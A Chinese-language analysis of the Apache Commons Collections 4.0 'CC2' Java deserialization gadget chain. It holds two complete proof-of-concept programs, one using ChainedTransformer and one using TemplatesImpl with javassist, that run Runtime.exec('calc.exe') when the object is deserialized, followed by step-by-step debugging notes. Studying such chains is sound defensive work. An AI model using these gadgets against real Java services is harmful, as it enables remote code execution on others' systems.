Apache-Commons-Collections 2

目录

cc链2 主要是PriorityQueue和commons-collections-4.0 组件 造成的Gadget。

PriorityQueue 是一个用于大小排序的类,它会将传入的数值进行大小排序。

版本

CommonsCollections 4.0 需要有 javasist 依赖 JDK版本暂无限制

环境

pom.xml

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

利用链1

PriorityQueue +ChianedTransfomer+反射修改属性

ObjectInputStream.readObject()
            PriorityQueue.readObject()
            PriorityQueue.heapify()
            PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator();
              TransformingComparator.compare() //TransformingComparator cc4.0后才能实现了序列化接口
                  InvokerTransformer.transform()
                      Method.invoke()
                        Runtime.exec()

POC

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class Main {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }


}

直接跟着POC调试。

我们根据利用链跟进到PriorityQueue.readObject

这里先循环调用readObject将反序列化结果放入queue数组,然后可以发现这里最后调用了一个heapify()方法,我们跟进。

这里的意思对我们来说便是,如果size大于1便调用siftDown方法处理queue数组。跟进siftDown

会发现此处会判断comparator是否存在,若存在则调用siftDownUsingComparator。链中是需要跟进siftDownUsingComparator方法。

siftDownUsingComparator里有个comparator.compare(x, (E) c),其中这个x是我们可控的,就是我们往queue中put的值。跟进compare方法

可以发现是调用了当前transformer指定的类的transform方法,而当前transform按照POC中来看便是ChainedTransformer chain,于是此处便会调用ChainedTransformer的transform方法,我们在ChainedTransformer中写入的命令就会被执行了。

这便是这个链的大体状况,但是这个POC中仍然有一些细节需要推敲。

POC分析 1

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

这里向queue中add了两个元素,这里add了两个元素的意义是这样的:

在heapify会判断queue中的对象数量是否大于1,只有大于1才会执行siftDown方法。

POC分析 2

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

我们可以发现在POC此处在实例化PriorityQueue时并没有传入comparotor,而是在后面使用反射给comparator变量赋值。我们跟进queue.add便可一览究竟

add在实际上是调用了offer方法,跟进offer方法

可以发现这个offer方法也调用了siftUp这个方法

跟进后自然是来到此处,如果comparator存在它便会走上面的分支,调用transformer方法,走下面便是进行赋值操作。

假如此时comparator存在走了上面的分支,

便会在此行产生报错,这里的逻辑是将queue数组中的两个值进行transform处理然后进行大小比较以排序,但是这里两个transform方法返回的结果均为ProccessImpl对象,不能被compare方法调用进行大小比较,所以会产生报错。导致我们后面的序列化操作不能顺利执行,无法产生payload。

利用链2

链2用到了PriorityQueue +TemplatesImpl +InvokerTransformer和javassist技术。 javassist 可以用来动态修改java字节码,相关细节这里就不细说了,我的博客和网上均有大量文章。

ObjectInputStream.readObject()
            PriorityQueue.readObject()
            PriorityQueue.heapify()
            PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
              TransformingComparator.compare()
                  InvokerTransformer.transform()
                  TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                    EvilClass.newInstance()



关于TemplatesImpl ,它也是7u21链中不可或缺的一个环节,它配合javassist起到任意类生成的作用,在该条链中可以再配合invokerTransformer来达到命令执行的目的。

POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

TemplatesImpl 类生成

我们先来看一看TemplatesImpl 是如何进行类生成的。

首先TemplatesImpl类中有个方法defineTransletClasses,它的主要代码如下

private byte[][] _bytecodes = (byte[][])null;

private void defineTransletClasses() throws TransformerConfigurationException {
        if (this._bytecodes == null) {
        .....
        } else {
            TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

            try {
                int classCount = this._bytecodes.length;
                this._class = new Class[classCount];

                for(int i = 0; i < classCount; ++i) {
                    this._class[i] = loader.defineClass(this._bytecodes[i]);  \\将_bytecodes中的所有字节通过defineClass转化为一个类
                    Class superClass = this._class[i].getSuperclass();
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                        this._transletIndex = i;
                    } else {
                        this._auxClasses.put(this._class[i].getName(), this._class[i]);
                    }
                }
    }

也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法:

getTransletInstance
getTransletIndex
getTransletClasses

其中,getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法,其代码如下

private Translet getTransletInstance() throws TransformerConfigurationException {
        ErrorMsg err;
        try {
            if (this._name == null) {
                return null;
            } else {
                if (this._class == null) {
                    this.defineTransletClasses();
                }

                AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here,注意此处生成的类对象应该是AbstractTranslet或其子类
                translet.postInitialization();
                translet.setTemplates(this);
                translet.setServicesMechnism(this._useServicesMechanism);
                if (this._auxClasses != null) {
                    translet.setAuxiliaryClasses(this._auxClasses);
                }

                return translet;
            }

那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);  \\here
    ········
    }

也就是说我们可以通过javassist动态控制_bytecodes属性的值,然后通过InvokerTransfomer调用TemplatesImpl.newTransfomer来把我们通过javassist得到的字节码实例化,在实例化的时候调用其构造函数。

POC分析

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);

这里是先获取InvokerTransformer的构造方法,然后向构造方法传入newTransformer来实例化一个InvokerTransformer方法。

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

这里是通过javassist动态实现了一个构造函数为执行计算器的类,将其转化为字节码保存,然后在实例化TemplatesImpl时传入其_bytecodes变量,这里还必须为_name赋值,_class我测试的时候也不用赋值,但是加上最好?我没有细跟。

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

然后通过反射向queue数组赋值,一个值为刚刚生成的TemplatesImpl对象,另一个值随意,总之这里得传入2个以上的值。 然后通过反射向size赋值,再然后通过反射向comparator赋值。 赋值完成后进行序列化操作。